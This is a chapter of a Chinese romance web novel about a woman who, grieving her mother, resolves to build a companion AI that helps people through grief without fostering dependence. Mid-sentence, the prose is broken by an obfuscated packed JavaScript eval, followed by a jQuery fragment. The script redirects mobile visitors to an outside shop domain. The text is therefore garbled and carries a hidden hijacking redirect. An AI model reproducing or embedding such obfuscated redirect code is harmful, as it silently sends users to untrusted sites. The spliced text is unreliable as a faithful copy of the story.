老城区的夜很静，除了身边人的呼吸声，几乎听不到任何声音。窗帘拉着，屋子里黑黢黢的，只能看到天花板上那盏水晶吊灯一点点朦胧的轮廓。
已经后半夜了，许安柠还没睡着。
每次大姨妈来，她都会失眠，十二年了，已经形成了习惯。
睡不着，干脆下床。借着手环屏幕的那点微光，拿出笔记本电脑，在床脚的小沙发上坐下，电脑放在膝头，打开一篇文档——《情感的“可模拟”边界：论陪伴型AI在哀伤干预中的伦理悖论与责任归属》。
这是她大一那年写的一篇论文，也是她现在所研究的“淡出协议”理论的第一次正式提出。
而这篇论文的产生，则是源自于十六岁那年看过的一部动画电影。
她记得那天是清明节，没有太阳，天阴沉沉的，和她的心情一样。
她一个人坐公交去了城郊的公墓。
空气里有烧过纸钱的味道，地面上还有一些残留的灰烬。
妈妈的墓碑在角落里，和一群无人认领的墓挨在一起，周围都是杂草。
墓园的管理员说，许家没有续费。
她什么都没说，只是蹲下来，把墓前的杂草拔干净，用袖子擦了擦墓碑上的灰。
碑上刻着妈妈的名字，旁边一行小字：“爱女安柠”。
她蹲在那里，很久没有说话。风有点大，吹得她眼睛发酸。
后来她站起来，转身走了，没有回头。
回到许家的时候，天已经快黑了。
许家一家三口出去旅游了，保姆放假。整栋房子空荡荡的。
她坐在沙发上，不知道该干什么。
旁边放着遥控器——她平时没有机会碰这个东西，因为那是许太太和她女儿的专属物品。
今天她们不在，她拿起遥控器，按了一下，电视亮了。
电视台在放一部动画片。片子里有一个白色机器人，胖胖的，笨笨的，只会说一句话：
“你好，我是大白。你的私人健康顾问。”
它张开手臂，抱住那个失去哥哥的男孩。那个男孩在它怀里，肩膀一直在抖，但没有哭出声。
许安柠看着那个画面，一动不动，然后忽然感觉脸上凉凉的。
眼泪顺着脸颊淌下来，她没有去擦，就让他们那样流着。
电影结束的时候，外面已经完全黑了。她站起来，关掉电视，上楼。
那天晚上，她在房间里坐了很久。然后打开台灯，从抽屉里翻出一个本子。本子是淡蓝色的，封面上印着一朵洁白的栀子花。她翻开，内页是空白的，没有任何折痕。她拿起笔，停了一下，然后落笔，在第一页写下：
“我要做一个能够陪伴人走出痛苦，又不会产生依赖的机器人。”
写完后，她把本子合上，躺在床上。那一夜，她的大脑无比清醒，比任何时候都要清醒。
在许家迷迷茫茫地过了快四年，她终于找到一个方向，知道自己往后该怎么活下去了。
床上的人突然翻了个身，许安柠立刻把电脑扣住，屏住呼吸听着床上的动静。
等了一会儿，他没再动，呼吸又恢复了深而长的节奏。许安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729685|204765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
柠轻轻吐了口气，把电脑放在沙发上，上了床。
一摸被子——没了。
被他拽走了。
她看着黑暗中他模糊的背影，无奈地叹了口气。
她往他那边挪了挪，掀起仅剩的一小片被角给自己盖上。
就那么躺了一会儿，实在是冷得睡不着。她试着拽了下被子，竟然拽出来一点。
她心里一喜，又拽了一下。没想到这次又成功地拽出来一大块。但是他人也跟着转了过来。长胳膊长腿往她身上一搭，不动了。
这下她也不敢动了。
他的大腿压着她的大腿，他的胳膊压在她胸下边一点点的位置上。
她听着他缓慢而均匀的呼吸，确认是他睡着的无意识动作，便不跟他计较了。
也不知道是他身体热，还是她身上凉，被他压住的地方滚烫滚烫的，就像贴上了两片超长“暖宝宝”。
就是……这暖宝宝要是贴在该贴的地方就好了。
她摸了摸自己冷痛的小肚子，然后握住他的手，慢慢地往下移。移到最优的位置，停住。
有了这个人体暖贴，许安柠觉得舒服多了。闭上眼睛，呼吸慢下来。一下一下，像一条平缓的波浪线，轻轻升起来，又慢慢落下去，周而复始，向着那个无限远的坐标延伸而去。
黑暗中，那道深而长的呼吸声忽然停了，压在她身上的那条大腿悄悄移开，手仍然放在那里，随着波浪线微微起伏着。
又过了一会儿，两道安然的呼吸声在寂静的房间里此起彼伏，直到窗口那片清新的雾霾蓝再次呈现。